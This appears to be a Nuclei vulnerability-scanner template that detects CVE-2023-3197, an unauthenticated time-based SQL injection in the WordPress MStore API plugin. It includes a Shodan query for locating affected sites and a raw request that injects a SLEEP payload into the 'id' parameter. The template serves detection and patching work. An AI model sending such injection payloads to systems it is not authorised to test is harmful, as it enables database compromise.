WordPress MStore API <= 4.0.1 - Unauthenticated SQL Injection

id: CVE-2023-3197

info:
  name: WordPress MStore API <= 4.0.1 - Unauthenticated SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    MStore API plugin for WordPress up to version 4.0.1 contains an unauthenticated blind SQL injection caused by insufficient escaping of 'id' parameter in SQL queries, letting attackers execute arbitrary SQL commands without authentication, exploit requires sending crafted requests with malicious 'id' parameter.
  impact: |
    Attackers can extract sensitive database information, potentially leading to data breach and compromise of the website.
  remediation: |
    Update to the latest version of the plugin where the vulnerability is fixed.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3197
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/30aab1af-a78f-4bac-b3c5-30ea854ccef7?source=cve
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"/mstore-api/"
  tags: cve,cve2023,wordpress,wp-plugin,wp,sqli,mstore-api,wp,unauth,time-based

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-json/api/flutter_multi_vendor/product-categories HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body,"has_children","display")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 15s
        GET /wp-json/api/flutter_multi_vendor/product-categories?id=1%20AND%20(SELECT%201%20FROM%20(SELECT%20SLEEP(6))a) HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 6'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100fe729ea1c26921a6fcb9f88711d2c42b0c12dfb5c3c095e9987722ebe357c443022100ac750425f2141f04793b5009382fe8e2047e4a4faafbe7b3761fa95803c78387:922c64590222798bb761d5b6d8e72950